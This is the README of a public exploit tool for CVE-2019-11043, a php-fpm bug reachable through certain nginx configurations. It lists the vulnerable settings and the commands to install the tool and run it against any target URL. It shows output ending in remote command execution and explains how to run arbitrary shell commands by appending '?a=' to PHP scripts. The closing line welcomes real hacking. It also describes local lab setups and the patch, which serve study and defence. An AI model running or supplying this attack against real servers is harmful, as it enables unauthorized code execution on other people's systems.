Awesome
PHuiP-FPizdaM
What's this
This is an exploit for a bug in php-fpm (CVE-2019-11043). In certain nginx + php-fpm configurations, the bug is possible to trigger from the outside. This means that a web user may get code execution if you have vulnerable config (see below).
Writeup
While we were too lazy to do a writeup, Orange Tsai published a perfect analysis in his blog. Kudos to him.
Also, my slides from ZeroNights 2019 are available.
What's vulnerable
If a webserver runs nginx + php-fpm and nginx have a configuration like
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
which also lacks any script existence checks (like try_files
), then you can probably hack it with this sploit.
The full list of preconditions
- Nginx + php-fpm,
location ~ [^/]\.php(/|$)
must be forwarded to php-fpm (maybe the regexp can be stricter, see #1). - There must be a
PATH_INFO
variable assignment via statementfastcgi_param PATH_INFO $fastcgi_path_info;
. AlsoSCRIPT_FILENAME
must be set usingfastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
(there might be a constant path instead of$document_root
). At first, we thought these are always present in thefastcgi_params
file, but it's not true. - There must be a way to set
PATH_INFO
to an empty value. This exploit assumes thatfastcgi_split_path_info
directive is there and contains a regexp starting with^
and ending with$
, so it tries to break the regexp with a newline character. - This particular exploit assumes that
PATH_INFO
is set afterREQUEST_URI
in the config. - No file existence checks like
try_files $uri =404
orif (-f $uri)
. If Nginx drops requests to non-existing scripts before FastCGI forwarding, our requests never reach php-fpm. Adding this is also the easiest way to patch. - This exploit works only for PHP 7+, but the bug itself is present in earlier versions (see below).
Isn't this known to be vulnerable for years?
A long time ago php-fpm didn't restrict the extensions of the scripts, meaning that something like /avatar.png/some-fake-shit.php
could execute avatar.png
as a PHP script. This issue was fixed around 2010.
The current one doesn't require file upload, works in the most recent versions (until the fix has landed), and, most importantly, the exploit is much cooler.
How to run
Install it using
go get github.com/neex/phuip-fpizdam
If you get strange compilation errors, make sure you're using go >= 1.13. Run the program using phuip-fpizdam [url]
(assuming you have the $GOPATH/bin
inside your $PATH
, otherwise specify the full path to the binary). Good output looks like this:
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
After this, you can start appending ?a=<your command>
to all PHP scripts (you may need multiple retries).
Alternatively, you can use a docker image to run the exploit:
docker run --rm ypereirareis/cve-2019-11043 [url]
Playground environments
Using Docker
If you want to reproduce the issue or play with the exploit locally through Docker, do the following:
- Clone this repo and go to the
reproducer
directory. - Create the docker image using
docker build -t reproduce-cve-2019-11043 .
. It takes a long time as it internally clones the php repository and builds it from the source. However, it will be easier this way if you want to debug the exploit. The revision built is the one right before the fix. - Run the docker using
docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043
. - Now you have http://127.0.0.1:8080/script.php, which is an empty file.
- Run the exploit using
phuip-fpizdam http://127.0.0.1:8080/script.php
- If everything is ok, you'll be able to execute commands by appending
?a=
to the script: http://127.0.0.1:8080/script.php?a=id. Try multiple times as only some of php-fpm workers are infected.
Using LXD system containers
If you want to reproduce the issue or play with the exploit locally through LXD, do the following:
- Create two system containers,
vulnerable
andattacker
. You can use theubuntu:18.04
container image for both containers. - In the
vulnerable
container, installnginx
andphp-fpm
. Configure the server block as this configuration. Create an empty file/var/www/html/index.php
. - In the
attacker
container, install the Go language (sudo snap install go --classic
), clone this repository, and rungo build
in the directory of the repository. - Run the attack as follows:
./phuip-fpizdam http://vulnerable.lxd/index.php
. Try multiple types in order to infect all php-fpm workers.
For more details instructions, see Testing CVE-2019-11043 (php-fpm security vulnerability) with LXD system containers.
About PHP5
The buffer underflow in php-fpm is present in PHP version 5. However, this exploit makes use of an optimization used for storing FastCGI variables, _fcgi_data_seg. This optimization is present only in php 7, so this particular exploit works only for php 7. There might be another exploitation technique that works in php 5.
Credits
Original anomaly discovered by d90pwn during Real World CTF. Root clause found by me (Emil Lerner) as well as the way to set php.ini options. Final php.ini options set is found by beched.
License
This exploit is distributed under terms of MIT License.
Refrain from doing any damage with this exploit. But if you really hack something with this thing, I will be happy.